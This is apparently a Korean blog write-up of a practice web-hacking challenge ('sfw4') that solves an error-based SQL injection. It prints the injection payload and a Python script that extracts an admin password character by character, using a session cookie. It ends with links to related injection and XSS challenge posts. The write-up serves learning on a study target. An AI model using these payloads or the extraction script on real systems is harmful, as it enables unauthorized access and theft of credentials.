sfw는 에러 기반 SQL injection 문제입니다. 이 문제는 union select문을 이용해 간단히 에러를 확인할 수 있었습니다.
간단한 에러 기반 SQL injection에 사용되는 쿼리인
pw=' or id='admin' and (select 1 union select length(pw)=10) %23을 입력해주니 아래 결과처럼 에러 메시지가 보였습니다.
그래서 길이 값을 바꿔가면서 삽질을 했더니 길이를 알아낼 수 있었습니다.
위의 쿼리문에서 length(pw)를 pw like 구문으로 쿼리문을 수정해주어 아래의 파이썬 코드로 문제를 해결했습니다.
import requests
url='http://sfwebstudy.ml/sfw4/sw4.php?'
header={'Cookie':'PHPSESSID=6fie6ujn11inv64hpqjn7t76lc'}
ch = "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ!@$^*-+=~`"
pw=''
for i in range(1,14):
for j in ch:
query="pw=' || id='admin' and (select 1 union select pw like '{}%25')%23".format(pw+j)
result=requests.get(url+query,headers=header)
if "we have same length" in result.text:
continue
if "LEVEL4. SW4" in result.text:
pw += j
print "pw= {}".format(pw)
break
print pw
'웹 > sfw' 카테고리의 다른 글
sfw6 (XSS) (0) | 2021.01.08 |
---|---|
sfw5 (information schema SQL injection) (0) | 2021.01.08 |
sfw3 (time based SQL injection) (0) | 2021.01.08 |
sfw2 (blind SQL injection) (0) | 2021.01.08 |
sfw1 (simple SQL injection) (0) | 2021.01.08 |